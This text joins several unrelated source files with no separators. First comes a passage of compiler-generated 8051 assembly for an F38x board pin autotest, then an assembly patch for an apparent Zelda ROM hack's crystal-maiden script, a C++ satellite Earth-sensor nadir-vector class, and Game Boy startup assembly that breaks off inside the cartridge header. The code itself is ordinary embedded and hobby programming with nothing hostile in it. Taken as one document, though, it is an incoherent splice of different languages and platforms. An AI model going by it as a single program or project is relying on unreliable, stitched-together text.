L006004?: clr c mov a,r6 subb a,r2 mov a,r7 subb a,r3 mov a,r0 subb a,r4 mov a,r1 subb a,r5 jnc L006007? ; f38x_autotest.c:100: while (!(TMR3CN & 0x80)); // Wait for overflow L006001?: mov a,_TMR3CN jnb acc.7,L006001? ; f38x_autotest.c:101: TMR3CN &= ~(0x80); // Clear overflow indicator anl _TMR3CN,#0x7F ; f38x_autotest.c:98: for (i = 0; i < us; i++) // Count <us> overflows inc r6 cjne r6,#0x00,L006016? inc r7 cjne r7,#0x00,L006016? inc r0 cjne r0,#0x00,L006004? inc r1 L006016?: sjmp L006004? L006007?: ; f38x_autotest.c:103: TMR3CN = 0 ; // Stop Timer3 and clear overflow flag mov _TMR3CN,#0x00 ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'WaitXms' ;------------------------------------------------------------ ;ms Allocated to registers r2 r3 ;j Allocated to registers r2 r3 ;------------------------------------------------------------ ; f38x_autotest.c:106: void WaitXms (unsigned int ms) ; ----------------------------------------- ; function WaitXms ; ----------------------------------------- _WaitXms: mov r2,dpl mov r3,dph ; f38x_autotest.c:109: for(j=ms; j!=0; j--) L007001?: cjne r2,#0x00,L007010? cjne r3,#0x00,L007010? ret L007010?: ; f38x_autotest.c:111: Timer3us(249); mov dptr,#(0xF9&0x00ff) clr a mov b,a push ar2 push ar3 lcall _Timer3us ; f38x_autotest.c:112: Timer3us(249); mov dptr,#(0xF9&0x00ff) clr a mov b,a lcall _Timer3us ; f38x_autotest.c:113: Timer3us(249); mov dptr,#(0xF9&0x00ff) clr a mov b,a lcall _Timer3us ; f38x_autotest.c:114: Timer3us(250); mov dptr,#(0xFA&0x00ff) clr a mov b,a lcall _Timer3us pop ar3 pop ar2 ; f38x_autotest.c:109: for(j=ms; j!=0; j--) dec r2 cjne r2,#0xff,L007011? dec r3 L007011?: sjmp L007001? ;------------------------------------------------------------ ;Allocation info for local variables in function 'countzero' ;------------------------------------------------------------ ;j Allocated to registers r2 ;------------------------------------------------------------ ; f38x_autotest.c:118: unsigned char countzero(void) ; ----------------------------------------- ; function countzero ; ----------------------------------------- _countzero: ; f38x_autotest.c:122: j=0; mov r2,#0x00 ; f38x_autotest.c:124: if (P0_0==0) j++; jb _P0_0,L008002? mov r2,#0x01 L008002?: ; f38x_autotest.c:125: if (P0_1==0) j++; jb _P0_1,L008004? inc r2 L008004?: ; f38x_autotest.c:126: if (P0_2==0) j++; jb _P0_2,L008006? inc r2 L008006?: ; f38x_autotest.c:127: if (P0_3==0) j++; jb _P0_3,L008008? inc r2 L008008?: ; f38x_autotest.c:130: if (P0_6==0) j++; jb _P0_6,L008010? inc r2 L008010?: ; f38x_autotest.c:131: if (P0_7==0) j++; jb _P0_7,L008012? inc r2 L008012?: ; f38x_autotest.c:133: if (P1_0==0) j++; jb _P1_0,L008014? inc r2 L008014?: ; f38x_autotest.c:134: if (P1_1==0) j++; jb _P1_1,L008016? inc r2 L008016?: ; f38x_autotest.c:135: if (P1_2==0) j++; jb _P1_2,L008018? inc r2 L008018?: ; f38x_autotest.c:136: if (P1_3==0) j++; jb _P1_3,L008020? inc r2 L008020?: ; f38x_autotest.c:137: if (P1_4==0) j++; jb _P1_4,L008022? inc r2 L008022?: ; f38x_autotest.c:138: if (P1_5==0) j++; jb _P1_5,L008024? inc r2 L008024?: ; f38x_autotest.c:139: if (P1_6==0) j++; jb _P1_6,L008026? inc r2 L008026?: ; f38x_autotest.c:140: if (P1_7==0) j++; jb _P1_7,L008028? inc r2 L008028?: ; f38x_autotest.c:142: if (P2_0==0) j++; jb _P2_0,L008030? inc r2 L008030?: ; f38x_autotest.c:143: if (P2_1==0) j++; jb _P2_1,L008032? inc r2 L008032?: ; f38x_autotest.c:144: if (P2_2==0) j++; jb _P2_2,L008034? inc r2 L008034?: ; f38x_autotest.c:145: if (P2_3==0) j++; jb _P2_3,L008036? inc r2 L008036?: ; f38x_autotest.c:146: if (P2_4==0) j++; jb _P2_4,L008038? inc r2 L008038?: ; f38x_autotest.c:147: if (P2_5==0) j++; jb _P2_5,L008040? inc r2 L008040?: ; f38x_autotest.c:148: if (P2_6==0) j++; jb _P2_6,L008042? inc r2 L008042?: ; f38x_autotest.c:149: if (P2_7==0) j++; jb _P2_7,L008044? inc r2 L008044?: ; f38x_autotest.c:151: if (P3_0==0) j++; jb _P3_0,L008046? inc r2 L008046?: ; f38x_autotest.c:153: return j; mov dpl,r2 ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'Set_Pin_Output' ;------------------------------------------------------------ ;pin Allocated to registers r2 ;mask Allocated to registers r3 ;------------------------------------------------------------ ; f38x_autotest.c:156: void Set_Pin_Output (unsigned char pin) ; ----------------------------------------- ; function Set_Pin_Output ; ----------------------------------------- _Set_Pin_Output: mov r2,dpl ; f38x_autotest.c:160: mask=(1<<(pin&0x7)); mov a,#0x07 anl a,r2 mov b,a inc b mov a,#0x01 sjmp L009011? L009009?: add a,acc L009011?: djnz b,L009009? mov r3,a ; f38x_autotest.c:161: switch(pin/0x10) mov a,r2 swap a anl a,#0x0f mov r2,a add a,#0xff - 0x03 jc L009006? mov a,r2 add a,r2 add a,r2 mov dptr,#L009013? jmp @a+dptr L009013?: ljmp L009001? ljmp L009002? ljmp L009003? ljmp L009004? ; f38x_autotest.c:163: case 0: P0MDOUT |= mask; break; L009001?: mov a,r3 orl _P0MDOUT,a ; f38x_autotest.c:164: case 1: P1MDOUT |= mask; break; ret L009002?: mov a,r3 orl _P1MDOUT,a ; f38x_autotest.c:165: case 2: P2MDOUT |= mask; break; ret L009003?: mov a,r3 orl _P2MDOUT,a ; f38x_autotest.c:166: case 3: P3MDOUT |= mask; break; ret L009004?: mov a,r3 orl _P3MDOUT,a ; f38x_autotest.c:167: } L009006?: ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'Set_Pin_Input' ;------------------------------------------------------------ ;pin Allocated to registers r2 ;mask Allocated to registers r3 ;------------------------------------------------------------ ; f38x_autotest.c:170: void Set_Pin_Input (unsigned char pin) ; ----------------------------------------- ; function Set_Pin_Input ; ----------------------------------------- _Set_Pin_Input: mov r2,dpl ; f38x_autotest.c:174: mask=(1<<(pin&0x7)); mov a,#0x07 anl a,r2 mov b,a inc b mov a,#0x01 sjmp L010011? L010009?: add a,acc L010011?: djnz b,L010009? ; f38x_autotest.c:175: mask=~mask; cpl a mov r3,a ; f38x_autotest.c:176: switch(pin/0x10) mov a,r2 swap a anl a,#0x0f mov r2,a add a,#0xff - 0x03 jc L010006? mov a,r2 add a,r2 add a,r2 mov dptr,#L010013? jmp @a+dptr L010013?: ljmp L010001? ljmp L010002? ljmp L010003? ljmp L010004? ; f38x_autotest.c:178: case 0: P0MDOUT &= mask; break; L010001?: mov a,r3 anl _P0MDOUT,a ; f38x_autotest.c:179: case 1: P1MDOUT &= mask; break; ret L010002?: mov a,r3 anl _P1MDOUT,a ; f38x_autotest.c:180: case 2: P2MDOUT &= mask; break; ret L010003?: mov a,r3 anl _P2MDOUT,a ; f38x_autotest.c:181: case 3: P3MDOUT &= mask; break; ret L010004?: mov a,r3 anl _P3MDOUT,a ; f38x_autotest.c:182: } L010006?: ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'Set_Pin_One' ;------------------------------------------------------------ ;pin Allocated to registers r2 ;mask Allocated to registers r3 ;------------------------------------------------------------ ; f38x_autotest.c:185: void Set_Pin_One (unsigned char pin) ; ----------------------------------------- ; function Set_Pin_One ; ----------------------------------------- _Set_Pin_One: mov r2,dpl ; f38x_autotest.c:189: mask=(1<<(pin&0x7)); mov a,#0x07 anl a,r2 mov b,a inc b mov a,#0x01 sjmp L011011? L011009?: add a,acc L011011?: djnz b,L011009? mov r3,a ; f38x_autotest.c:190: switch(pin/0x10) mov a,r2 swap a anl a,#0x0f mov r2,a add a,#0xff - 0x03 jc L011006? mov a,r2 add a,r2 add a,r2 mov dptr,#L011013? jmp @a+dptr L011013?: ljmp L011001? ljmp L011002? ljmp L011003? ljmp L011004? ; f38x_autotest.c:192: case 0: P0 |= mask; break; L011001?: mov a,r3 orl _P0,a ; f38x_autotest.c:193: case 1: P1 |= mask; break; ret L011002?: mov a,r3 orl _P1,a ; f38x_autotest.c:194: case 2: P2 |= mask; break; ret L011003?: mov a,r3 orl _P2,a ; f38x_autotest.c:195: case 3: P3 |= mask; break; ret L011004?: mov a,r3 orl _P3,a ; f38x_autotest.c:196: } L011006?: ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'Set_Pin_Zero' ;------------------------------------------------------------ ;pin Allocated to registers r2 ;mask Allocated to registers r3 ;------------------------------------------------------------ ; f38x_autotest.c:199: void Set_Pin_Zero (unsigned char pin) ; ----------------------------------------- ; function Set_Pin_Zero ; ----------------------------------------- _Set_Pin_Zero: mov r2,dpl ; f38x_autotest.c:203: mask=(1<<(pin&0x7)); mov a,#0x07 anl a,r2 mov b,a inc b mov a,#0x01 sjmp L012011? L012009?: add a,acc L012011?: djnz b,L012009? ; f38x_autotest.c:204: mask=~mask; cpl a mov r3,a ; f38x_autotest.c:205: switch(pin/0x10) mov a,r2 swap a anl a,#0x0f mov r2,a add a,#0xff - 0x03 jc L012006? mov a,r2 add a,r2 add a,r2 mov dptr,#L012013? jmp @a+dptr L012013?: ljmp L012001? ljmp L012002? ljmp L012003? ljmp L012004? ; f38x_autotest.c:207: case 0: P0 &= mask; break; L012001?: mov a,r3 anl _P0,a ; f38x_autotest.c:208: case 1: P1 &= mask; break; ret L012002?: mov a,r3 anl _P1,a ; f38x_autotest.c:209: case 2: P2 &= mask; break; ret L012003?: mov a,r3 anl _P2,a ; f38x_autotest.c:210: case 3: P3 &= mask; break; ret L012004?: mov a,r3 anl _P3,a ; f38x_autotest.c:211: } L012006?: ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'Read_Pin' ;------------------------------------------------------------ ;pin Allocated to registers r2 ;mask Allocated to registers r3 ;result Allocated to registers r2 ;------------------------------------------------------------ ; f38x_autotest.c:214: bit Read_Pin (unsigned char pin) ; ----------------------------------------- ; function Read_Pin ; ----------------------------------------- _Read_Pin: mov r2,dpl ; f38x_autotest.c:218: mask=(1<<(pin&0x7)); mov a,#0x07 anl a,r2 mov b,a inc b mov a,#0x01 sjmp L013012? L013010?: add a,acc L013012?: djnz b,L013010? mov r3,a ; f38x_autotest.c:219: switch(pin/0x10) mov a,r2 swap a anl a,#0x0f mov r2,a add a,#0xff - 0x03 jc L013002? mov a,r2 add a,r2 add a,r2 mov dptr,#L013014? jmp @a+dptr L013014?: ljmp L013002? ljmp L013003? ljmp L013004? ljmp L013005? ; f38x_autotest.c:222: case 0: result = P0 & mask; break; L013002?: mov a,r3 anl a,_P0 mov r2,a ; f38x_autotest.c:223: case 1: result = P1 & mask; break; sjmp L013006? L013003?: mov a,r3 anl a,_P1 mov r2,a ; f38x_autotest.c:224: case 2: result = P2 & mask; break; sjmp L013006? L013004?: mov a,r3 anl a,_P2 mov r2,a ; f38x_autotest.c:225: case 3: result = P3 & mask; break; sjmp L013006? L013005?: mov a,r3 anl a,_P3 mov r2,a ; f38x_autotest.c:226: } L013006?: ; f38x_autotest.c:227: return (result?1:0); mov a,r2 add a,#0xff ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'dofail' ;------------------------------------------------------------ ;pin Allocated to registers r2 ;------------------------------------------------------------ ; f38x_autotest.c:230: void dofail(unsigned char pin) ; ----------------------------------------- ; function dofail ; ----------------------------------------- _dofail: mov r2,dpl ; f38x_autotest.c:232: printf("P%d.%d FAILED (OPEN)\n", pin/0x10, pin&7); mov a,#0x07 anl a,r2 mov r3,a mov r4,#0x00 mov a,r2 swap a anl a,#0x0f mov r2,a mov r5,#0x00 push ar3 push ar4 push ar2 push ar5 mov a,#__str_0 push acc mov a,#(__str_0 >> 8) push acc mov a,#0x80 push acc lcall _printf mov a,sp add a,#0xf9 mov sp,a ; f38x_autotest.c:233: while(1); L014002?: sjmp L014002? ;------------------------------------------------------------ ;Allocation info for local variables in function 'dofailb' ;------------------------------------------------------------ ;pin Allocated to registers r2 ;------------------------------------------------------------ ; f38x_autotest.c:236: void dofailb(unsigned char pin) ; ----------------------------------------- ; function dofailb ; ----------------------------------------- _dofailb: mov r2,dpl ; f38x_autotest.c:238: printf("P%d.%d FAILED (SHORT)\n", pin/0x10, pin&7); mov a,#0x07 anl a,r2 mov r3,a mov r4,#0x00 mov a,r2 swap a anl a,#0x0f mov r2,a mov r5,#0x00 push ar3 push ar4 push ar2 push ar5 mov a,#__str_1 push acc mov a,#(__str_1 >> 8) push acc mov a,#0x80 push acc lcall _printf mov a,sp add a,#0xf9 mov sp,a ; f38x_autotest.c:239: while(1); L015002?: sjmp L015002? ;------------------------------------------------------------ ;Allocation info for local variables in function 'dopass' ;------------------------------------------------------------ ;pin Allocated to registers r2 ;------------------------------------------------------------ ; f38x_autotest.c:242: void dopass(unsigned char pin) ; ----------------------------------------- ; function dopass ; ----------------------------------------- _dopass: mov r2,dpl ; f38x_autotest.c:244: printf("P%d.%d, ", pin/0x10, pin&7); mov a,#0x07 anl a,r2 mov r3,a mov r4,#0x00 mov a,r2 swap a anl a,#0x0f mov r2,a mov r5,#0x00 push ar3 push ar4 push ar2 push ar5 mov a,#__str_2 push acc mov a,#(__str_2 >> 8) push acc mov a,#0x80 push acc lcall _printf mov a,sp add a,#0xf9 mov sp,a ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'Test_Pair' ;------------------------------------------------------------ ;pin2 Allocated with name '_Test_Pair_PARM_2' ;pin1 Allocated to registers r2 ;------------------------------------------------------------ ; f38x_autotest.c:247: void Test_Pair (unsigned char pin1, unsigned char pin2) ; ----------------------------------------- ; function Test_Pair ; ----------------------------------------- _Test_Pair: ; f38x_autotest.c:249: Set_Pin_Output(pin1); mov r2,dpl push ar2 lcall _Set_Pin_Output ; f38x_autotest.c:250: Set_Pin_Input(pin2); mov dpl,_Test_Pair_PARM_2 lcall _Set_Pin_Input pop ar2 ; f38x_autotest.c:251: Set_Pin_Zero(pin1); mov dpl,r2 push ar2 lcall _Set_Pin_Zero ; f38x_autotest.c:252: WaitXms(2); mov dptr,#0x0002 lcall _WaitXms ; f38x_autotest.c:253: if(Read_Pin(pin2)==1) dofail(pin2); mov dpl,_Test_Pair_PARM_2 lcall _Read_Pin clr a rlc a mov r3,a pop ar2 cjne r3,#0x01,L017002? mov dpl,_Test_Pair_PARM_2 push ar2 lcall _dofail pop ar2 L017002?: ; f38x_autotest.c:254: if (countzero()!=2) dofailb(pin2); push ar2 lcall _countzero mov r3,dpl pop ar2 cjne r3,#0x02,L017017? sjmp L017004? L017017?: mov dpl,_Test_Pair_PARM_2 push ar2 lcall _dofailb pop ar2 L017004?: ; f38x_autotest.c:255: dopass(pin2); mov dpl,_Test_Pair_PARM_2 push ar2 lcall _dopass ; f38x_autotest.c:257: Set_Pin_Output(pin2); mov dpl,_Test_Pair_PARM_2 lcall _Set_Pin_Output pop ar2 ; f38x_autotest.c:258: Set_Pin_Input(pin1); mov dpl,r2 push ar2 lcall _Set_Pin_Input ; f38x_autotest.c:259: Set_Pin_Zero(pin2); mov dpl,_Test_Pair_PARM_2 lcall _Set_Pin_Zero ; f38x_autotest.c:260: WaitXms(2); mov dptr,#0x0002 lcall _WaitXms pop ar2 ; f38x_autotest.c:261: if(Read_Pin(pin1)==1) dofail(pin1); mov dpl,r2 push ar2 lcall _Read_Pin clr a rlc a mov r3,a pop ar2 cjne r3,#0x01,L017006? mov dpl,r2 push ar2 lcall _dofail pop ar2 L017006?: ; f38x_autotest.c:262: if (countzero()!=2) dofailb(pin1); push ar2 lcall _countzero mov r3,dpl pop ar2 cjne r3,#0x02,L017020? sjmp L017008? L017020?: mov dpl,r2 push ar2 lcall _dofailb pop ar2 L017008?: ; f38x_autotest.c:263: dopass(pin1); mov dpl,r2 push ar2 lcall _dopass pop ar2 ; f38x_autotest.c:265: Set_Pin_One(pin1); mov dpl,r2 push ar2 lcall _Set_Pin_One ; f38x_autotest.c:266: Set_Pin_One(pin2); mov dpl,_Test_Pair_PARM_2 lcall _Set_Pin_One pop ar2 ; f38x_autotest.c:267: Set_Pin_Input(pin1); mov dpl,r2 lcall _Set_Pin_Input ; f38x_autotest.c:268: Set_Pin_Input(pin2); mov dpl,_Test_Pair_PARM_2 ljmp _Set_Pin_Input ;------------------------------------------------------------ ;Allocation info for local variables in function 'Check_Pin_Zero' ;------------------------------------------------------------ ;pin Allocated to registers r2 ;------------------------------------------------------------ ; f38x_autotest.c:271: void Check_Pin_Zero (unsigned char pin) ; ----------------------------------------- ; function Check_Pin_Zero ; ----------------------------------------- _Check_Pin_Zero: ; f38x_autotest.c:273: if(Read_Pin(pin)==0) mov r2,dpl push ar2 lcall _Read_Pin pop ar2 jc L018003? ; f38x_autotest.c:275: printf("P%d.%d is connected to ground\n", pin/0x10, pin&7); mov a,#0x07 anl a,r2 mov r3,a mov r4,#0x00 mov a,r2 swap a anl a,#0x0f mov r2,a mov r5,#0x00 push ar3 push ar4 push ar2 push ar5 mov a,#__str_3 push acc mov a,#(__str_3 >> 8) push acc mov a,#0x80 push acc lcall _printf mov a,sp add a,#0xf9 mov sp,a L018003?: ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'Initial_Check' ;------------------------------------------------------------ ;------------------------------------------------------------ ; f38x_autotest.c:279: void Initial_Check (void) ; ----------------------------------------- ; function Initial_Check ; ----------------------------------------- _Initial_Check: ; f38x_autotest.c:281: if (countzero()!=0) lcall _countzero mov a,dpl jnz L019010? ret L019010?: ; f38x_autotest.c:283: Check_Pin_Zero(0x00); mov dpl,#0x00 lcall _Check_Pin_Zero ; f38x_autotest.c:284: Check_Pin_Zero(0x01); mov dpl,#0x01 lcall _Check_Pin_Zero ; f38x_autotest.c:285: Check_Pin_Zero(0x02); mov dpl,#0x02 lcall _Check_Pin_Zero ; f38x_autotest.c:286: Check_Pin_Zero(0x03); mov dpl,#0x03 lcall _Check_Pin_Zero ; f38x_autotest.c:289: Check_Pin_Zero(0x06); mov dpl,#0x06 lcall _Check_Pin_Zero ; f38x_autotest.c:290: Check_Pin_Zero(0x07); mov dpl,#0x07 lcall _Check_Pin_Zero ; f38x_autotest.c:291: Check_Pin_Zero(0x10); mov dpl,#0x10 lcall _Check_Pin_Zero ; f38x_autotest.c:292: Check_Pin_Zero(0x11); mov dpl,#0x11 lcall _Check_Pin_Zero ; f38x_autotest.c:293: Check_Pin_Zero(0x12); mov dpl,#0x12 lcall _Check_Pin_Zero ; f38x_autotest.c:294: Check_Pin_Zero(0x13); mov dpl,#0x13 lcall _Check_Pin_Zero ; f38x_autotest.c:295: Check_Pin_Zero(0x14); mov dpl,#0x14 lcall _Check_Pin_Zero ; f38x_autotest.c:296: Check_Pin_Zero(0x15); mov dpl,#0x15 lcall _Check_Pin_Zero ; f38x_autotest.c:297: Check_Pin_Zero(0x16); mov dpl,#0x16 lcall _Check_Pin_Zero ; f38x_autotest.c:298: Check_Pin_Zero(0x17); mov dpl,#0x17 lcall _Check_Pin_Zero ; f38x_autotest.c:299: Check_Pin_Zero(0x20); mov dpl,#0x20 lcall _Check_Pin_Zero ; f38x_autotest.c:300: Check_Pin_Zero(0x21); mov dpl,#0x21 lcall _Check_Pin_Zero ; f38x_autotest.c:301: Check_Pin_Zero(0x22); mov dpl,#0x22 lcall _Check_Pin_Zero ; f38x_autotest.c:302: Check_Pin_Zero(0x23); mov dpl,#0x23 lcall _Check_Pin_Zero ; f38x_autotest.c:303: Check_Pin_Zero(0x24); mov dpl,#0x24 lcall _Check_Pin_Zero ; f38x_autotest.c:304: Check_Pin_Zero(0x25); mov dpl,#0x25 lcall _Check_Pin_Zero ; f38x_autotest.c:305: Check_Pin_Zero(0x26); mov dpl,#0x26 lcall _Check_Pin_Zero ; f38x_autotest.c:306: Check_Pin_Zero(0x27); mov dpl,#0x27 lcall _Check_Pin_Zero ; f38x_autotest.c:307: Check_Pin_Zero(0x30); mov dpl,#0x30 lcall _Check_Pin_Zero ; f38x_autotest.c:308: while(1); L019002?: sjmp L019002? ;------------------------------------------------------------ ;Allocation info for local variables in function 'main' ;------------------------------------------------------------ ;------------------------------------------------------------ ; f38x_autotest.c:312: void main(void) ; ----------------------------------------- ; function main ; ----------------------------------------- _main: ; f38x_autotest.c:316: printf("\n\nF38x board autotest\n"); mov a,#__str_4 push acc mov a,#(__str_4 >> 8) push acc mov a,#0x80 push acc lcall _printf dec sp dec sp dec sp ; f38x_autotest.c:317: Initial_Check(); lcall _Initial_Check ; f38x_autotest.c:319: Test_Pair(0x01, 0x02); // P0.1 and P0.2 mov _Test_Pair_PARM_2,#0x02 mov dpl,#0x01 lcall _Test_Pair ; f38x_autotest.c:320: Test_Pair(0x00, 0x03); // P0.0 and P0.3 mov _Test_Pair_PARM_2,#0x03 mov dpl,#0x00 lcall _Test_Pair ; f38x_autotest.c:321: Test_Pair(0x22, 0x21); // P2.2 and P2.1 mov _Test_Pair_PARM_2,#0x21 mov dpl,#0x22 lcall _Test_Pair ; f38x_autotest.c:322: Test_Pair(0x23, 0x20); // etc. mov _Test_Pair_PARM_2,#0x20 mov dpl,#0x23 lcall _Test_Pair ; f38x_autotest.c:323: printf("\n"); mov a,#__str_5 push acc mov a,#(__str_5 >> 8) push acc mov a,#0x80 push acc lcall _printf dec sp dec sp dec sp ; f38x_autotest.c:324: Test_Pair(0x24, 0x17); mov _Test_Pair_PARM_2,#0x17 mov dpl,#0x24 lcall _Test_Pair ; f38x_autotest.c:325: Test_Pair(0x25, 0x16); mov _Test_Pair_PARM_2,#0x16 mov dpl,#0x25 lcall _Test_Pair ; f38x_autotest.c:326: Test_Pair(0x26, 0x15); mov _Test_Pair_PARM_2,#0x15 mov dpl,#0x26 lcall _Test_Pair ; f38x_autotest.c:327: Test_Pair(0x27, 0x14); mov _Test_Pair_PARM_2,#0x14 mov dpl,#0x27 lcall _Test_Pair ; f38x_autotest.c:328: printf("\n"); mov a,#__str_5 push acc mov a,#(__str_5 >> 8) push acc mov a,#0x80 push acc lcall _printf dec sp dec sp dec sp ; f38x_autotest.c:329: Test_Pair(0x06, 0x11); mov _Test_Pair_PARM_2,#0x11 mov dpl,#0x06 lcall _Test_Pair ; f38x_autotest.c:330: Test_Pair(0x07, 0x12); mov _Test_Pair_PARM_2,#0x12 mov dpl,#0x07 lcall _Test_Pair ; f38x_autotest.c:331: Test_Pair(0x10, 0x13); mov _Test_Pair_PARM_2,#0x13 mov dpl,#0x10 lcall _Test_Pair ; f38x_autotest.c:333: printf("\n\nSuccess!\n"); mov a,#__str_6 push acc mov a,#(__str_6 >> 8) push acc mov a,#0x80 push acc lcall _printf dec sp dec sp dec sp ; f38x_autotest.c:335: Set_Pin_Output(0x30); mov dpl,#0x30 lcall _Set_Pin_Output ; f38x_autotest.c:336: while(1) L020002?: ; f38x_autotest.c:338: P3_0=0; clr _P3_0 ; f38x_autotest.c:339: WaitXms(TOUT); mov dptr,#0x01F4 lcall _WaitXms ; f38x_autotest.c:340: P3_0=1; setb _P3_0 ; f38x_autotest.c:341: WaitXms(TOUT); mov dptr,#0x01F4 lcall _WaitXms sjmp L020002? rseg R_CSEG rseg R_XINIT rseg R_CONST __str_0: db 'P%d.%d FAILED (OPEN)' db 0x0A db 0x00 __str_1: db 'P%d.%d FAILED (SHORT)' db 0x0A db 0x00 __str_2: db 'P%d.%d, ' db 0x00 __str_3: db 'P%d.%d is connected to ground' db 0x0A db 0x00 __str_4: db 0x0A db 0x0A db 'F38x board autotest' db 0x0A db 0x00 __str_5: db 0x0A db 0x00 __str_6: db 0x0A db 0x0A db 'Success!' db 0x0A db 0x00 CSEG end
;================================================================================ ; Maiden Crystal Fixes ;================================================================================ ;-------------------------------------------------------------------------------- ; MaidenCrystalScript ;-------------------------------------------------------------------------------- MaidenCrystalScript: LDA.b #$00 : STA $7F5091 STZ $02D8 STZ $02DA STZ $2E LDA #$02 : STA $2F ; Load the dungeon index. Is it the Dark Palace? ;LDA $040C : !SUB.b #$0A : TAY : CPY.b #$02 : BNE + ; LDA $7EF3C7 : CMP.b #$07 : BCS ++ : LDA.b #$07 : STA $7EF3C7 : ++ ;+ LDA $7EF37A : AND.b #$7F : CMP.b #$7F : BNE + ; check if we have all crystals LDA.b #$08 : STA $7EF3C7 ; Update the map icon to just be Ganon's Tower + JSL.l MaybeWriteSRAMTrace JML.l $1ECF35 ; <- F4F35 - sprite_crystal_maiden.asm : 426 ;--------------------------------------------------------------------------------
#include <math.h> #include <src/sensors/earth_sensor.h> // Defined surface normal (unit) vectors in all six sides of the satellite const double EarthSensor::kPosX[3][1] = {{1}, {0}, {0}}, EarthSensor::kPosY[3][1] = {{0}, {1}, {0}}, EarthSensor::kNegX[3][1] = {{-1}, {0}, {0}}, EarthSensor::kNegY[3][1] = {{0}, {-1}, {0}}, EarthSensor::kNegZ[3][1] = {{0}, {0}, {-1}}; EarthSensor::EarthSensor() : pos_x_side_normal(const_cast<double (&)[3][1]>(kPosX)), pos_y_side_normal(const_cast<double (&)[3][1]>(kPosY)), neg_x_side_normal(const_cast<double (&)[3][1]>(kNegX)), neg_y_side_normal(const_cast<double (&)[3][1]>(kNegY)), neg_z_side_normal(const_cast<double (&)[3][1]>(kNegZ)), pos_x_sensor(pos_x_side_normal), pos_y_sensor(pos_y_side_normal), neg_x_sensor(neg_x_side_normal), neg_y_sensor(neg_y_side_normal), neg_z_a_sensor(neg_z_side_normal), neg_z_b_sensor(neg_z_side_normal), nadir_vector(nadir_vector_data) {} void EarthSensor::CalculateNadirVector() { NewStackMatrixMacro(x_component, 3, 1); NewStackMatrixMacro(y_component, 3, 1); NewStackMatrixMacro(z_component, 3, 1); NewStackMatrixMacro(pos_x_component, 3, 1); NewStackMatrixMacro(neg_x_component, 3, 1); NewStackMatrixMacro(pos_y_component, 3, 1); NewStackMatrixMacro(neg_y_component, 3, 1); NewStackMatrixMacro(neg_z_a_component, 3, 1); NewStackMatrixMacro(neg_z_b_component, 3, 1); pos_x_component.MultiplyScalar(pos_x_sensor.GetSideNormal(), cos(pos_x_sensor.GetAngleToNadir())); neg_x_component.MultiplyScalar(pos_x_sensor.GetSideNormal(), cos(neg_x_sensor.GetAngleToNadir())); x_component.Subtract(pos_x_component, neg_x_component); x_component.MultiplyScalar(x_component, 0.5); pos_y_component.MultiplyScalar(pos_y_sensor.GetSideNormal(), cos(pos_y_sensor.GetAngleToNadir())); neg_y_component.MultiplyScalar(pos_y_sensor.GetSideNormal(), cos(neg_y_sensor.GetAngleToNadir())); y_component.Subtract(pos_y_component, neg_y_component); y_component.MultiplyScalar(y_component, 0.5); neg_z_a_component.MultiplyScalar(neg_z_a_sensor.GetSideNormal(), cos(neg_z_a_sensor.GetAngleToNadir())); neg_z_b_component.MultiplyScalar(neg_z_b_sensor.GetSideNormal(), cos(neg_z_b_sensor.GetAngleToNadir())); z_component.Add(neg_z_a_component, neg_z_b_component); z_component.MultiplyScalar(z_component, 0.5); nadir_vector.Add(x_component, y_component); nadir_vector.Add(nadir_vector, z_component); } void EarthSensor::SetPosXSensorReading(double value) { pos_x_sensor.SetInfraredReading(value); } void EarthSensor::SetPosYSensorReading(double value) { pos_y_sensor.SetInfraredReading(value); } void EarthSensor::SetNegXSensorReading(double value) { neg_x_sensor.SetInfraredReading(value); } void EarthSensor::SetNegYSensorReading(double value) { neg_y_sensor.SetInfraredReading(value); } void EarthSensor::SetNegZASensorReading(double value) { neg_z_a_sensor.SetInfraredReading(value); } void EarthSensor::SetNegZBSensorReading(double value) { neg_z_b_sensor.SetInfraredReading(value); } Matrix EarthSensor::GetNadirVector() const { return nadir_vector; }
INCLUDE "hardware.inc" INCLUDE "header.inc" ;-------------------------------------------------------------------------- ;- RESTART VECTORS - ;-------------------------------------------------------------------------- SECTION "RST_00",HOME[$0000] ret SECTION "RST_08",HOME[$0008] ret SECTION "RST_10",HOME[$0010] ret SECTION "RST_18",HOME[$0018] ret SECTION "RST_20",HOME[$0020] ret SECTION "RST_28",HOME[$0028] ret SECTION "RST_30",HOME[$0030] ret SECTION "RST_38",HOME[$0038] jp Reset ;-------------------------------------------------------------------------- ;- INTERRUPT VECTORS - ;-------------------------------------------------------------------------- SECTION "Interrupt Vectors",HOME[$0040] ; SECTION "VBL Interrupt Vector",HOME[$0040] push hl ld hl,_is_vbl_flag ld [hl],1 jr irq_VBlank ; SECTION "LCD Interrupt Vector",HOME[$0048] push hl ld hl,LCD_handler jr irq_Common nop nop ; SECTION "TIM Interrupt Vector",HOME[$0050] push hl ld hl,TIM_handler jr irq_Common nop nop ; SECTION "SIO Interrupt Vector",HOME[$0058] push hl ld hl,SIO_handler jr irq_Common nop nop ; SECTION "JOY Interrupt Vector",HOME[$0060] ld a,$C0 ld [rNR11],a ld a,$E0 ld [rNR12],a ld a,$00 ld [rNR13],a ld a,[$FFFE] ld [rNR14],a xor a,2 ld [$FFFE],a reti ;-------------------------------------------------------------------------- ;- IRQS HANDLER - ;-------------------------------------------------------------------------- irq_VBlank: ld hl,VBL_handler irq_Common: push af ld a,[hl+] ld h,[hl] ld l,a ; or a,h ; jr z,.no_irq push bc push de call .goto_irq_handler pop de pop bc ;.no_irq: pop af pop hl reti .goto_irq_handler: jp hl ;-------------------------------------------------------------------------- ;- wait_vbl() - ;-------------------------------------------------------------------------- wait_vbl: ld hl,_is_vbl_flag ld [hl],0 ._not_yet: halt bit 0,[hl] jr z,._not_yet ret ;-------------------------------------------------------------------------- ;- CARTRIDGE HEADER - ;-------------------------------------------------------------------------- SECTION "Cartridge Header",HOME[$0100] nop jp StartPoint DB $CE,$ED,$66,$66,$CC,$0D,$00,$0B,$03,$73,$00,$83,$00,$0C,$00,$0D DB 